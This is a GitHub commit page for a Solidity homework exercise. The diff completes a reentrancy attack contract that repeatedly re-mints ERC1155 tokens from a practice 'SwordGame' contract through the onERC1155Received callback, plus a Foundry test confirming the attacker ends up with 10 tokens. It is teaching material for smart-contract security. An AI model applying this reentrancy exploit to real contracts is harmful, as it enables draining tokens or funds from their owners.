Skip to content

Commit

Permalink
feat: w6 hw1 complete
Browse files Browse the repository at this point in the history
  • Loading branch information
0xRory committed Apr 17, 2024
1 parent 4bd9b22 commit c1b7f65
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 5 deletions.
8 changes: 4 additions & 4 deletions w6/src/example/attackHw1.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,12 @@
pragma solidity ^0.8.20;

import {SwordGame} from "src/hw/hw1.sol";
import {Test, console} from "forge-std/Test.sol";

contract AttackHW1 {
SwordGame public swordGame;
uint256 public tokenId = 1;
uint256 public nftCount;
uint16 public maxSupply = 10;

constructor(SwordGame _swordGame) {
swordGame = _swordGame;
Expand All @@ -17,6 +17,7 @@ contract AttackHW1 {

function attack() public payable {
swordGame.mint{value: 1 ether}(tokenId);
swordGame.safeTransferFrom(address(this), msg.sender, tokenId, 10, "");
}

function onERC1155Received(
Expand All @@ -27,13 +28,12 @@ contract AttackHW1 {
bytes calldata // data
) external returns (bytes4) {
nftCount += amount;
console.log("nftCount", nftCount);

// 循环调用 mint 函数
while (nftCount < 10) {
while (nftCount < maxSupply) {
try swordGame.mint{value: 1 ether}(tokenId) {
nftCount++;
} catch {
console.log("error", nftCount);
break;
}
}
Expand Down
2 changes: 1 addition & 1 deletion w6/test/hw1.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -16,12 +16,12 @@ contract exploitNFTTest is Test {
swordGame = new SwordGame();
attackHW1 = new AttackHW1(swordGame);
vm.stopPrank();

vm.deal(hacker, 1 ether);
}

function testExploit() public {
vm.startPrank(hacker);
vm.deal(address(attackHW1), 10 ether);
attackHW1.attack{value: 1 ether}();
vm.stopPrank();
assertEq(swordGame.balanceOf(hacker, 1), 10);
Expand Down

0 comments on commit c1b7f65

Please sign in to comment.